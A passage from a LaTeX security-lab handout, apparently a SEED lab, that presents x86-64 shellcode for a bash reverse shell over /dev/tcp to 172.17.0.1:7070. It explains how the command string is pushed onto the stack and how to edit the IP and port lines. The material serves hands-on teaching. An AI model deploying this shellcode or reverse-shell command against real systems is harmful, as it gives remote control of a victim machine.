
The shellcode for the reverse shell command is given below (it is
also included in the provided code skeleton). If students
are interested in learning how to write such a shellcode
from scratch, they can look at the instructions in
another SEED lab, called \textit{Shellcode Development Lab}.


\begin{lstlisting}
# Execute "/bin/bash -i >/dev/tcp/172.17.0.1/7070 0<&1 2>&1"
rev_shell= (
   "\x48\x31\xc0\x50\x48\xb8\x2f\x2f\x2f\x2f\x62\x61\x73\x68\x50\x48"
   "\xb8\x2f\x2f\x2f\x2f\x2f\x62\x69\x6e\x50\x48\x89\xe3\x48\x31\xc0"
   "\x50\x48\xb8\x2d\x63\x63\x63\x63\x63\x63\x63\x50\x48\x89\xe1\x48"
   "\x31\xc0\x50\x48"
   ####################################
   "\xb8" "    2>&1" "\x50\x48"   (*@\ding{108}@*)
   "\xb8" "    0<&1" "\x50\x48"
   "\xb8" "        " "\x50\x48"
   "\xb8" "0.1/7070" "\x50\x48"   (*@\ding{109}@*)
   "\xb8" "/172.17." "\x50\x48"   (*@\ding{109}@*)
   "\xb8" "/dev/tcp" "\x50\x48"
   "\xb8" "h -i >  " "\x50\x48"
   "\xb8" "/bin/bas" "\x50\x48"   (*@\ding{108}@*)
   ####################################
   "\x89\xe2\x48\x31\xc0\x50\x52\x51\x53\x48\x89\xe6\x48\x89\xdf"
   "\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')
\end{lstlisting}

The objective of lines between the two \ding{108} marks is to 
push the reverse shell command into the stack. The string
is divided into several pieces, each having exactly 8 bytes.
These pieces are then pushed into the stack in the reverse order (because
stack grows from high addresses to low addresses).
Each line of the code does the same thing:
save (\textbackslash\texttt{xb8}) a 8-byte number to the \texttt{rax} register, 
and then pushes (\textbackslash\texttt{x50}\textbackslash\texttt{x48})
the value of this register into the stack. 
After running these lines of instructions, 
the following revser shell command will be stored on the stack.

\begin{lstlisting}
/bin/bash -i >/dev/tcp/172.17.0.1/7070 0<&1 2>&1
\end{lstlisting}

The IP address and port number part of the reverse shell command 
are in the lines marked by \ding{109}. 
If your server has a different IP address and/or port number,
you need to modify these lines. You need to make sure that
each line takes string that is exactly 8 bytes. If your string is shorter,
you can pad it with extra spaces;
if your string is longer, you can create another line.
For example, if your IP address is \texttt{172.17.30.153},
you can do the following:

\begin{lstlisting}
   "\xb8" "070     " "\x50\x48"
   "\xb8" "30.153/7" "\x50\x48"
   "\xb8" "/172.17." "\x50\x48"
\end{lstlisting}

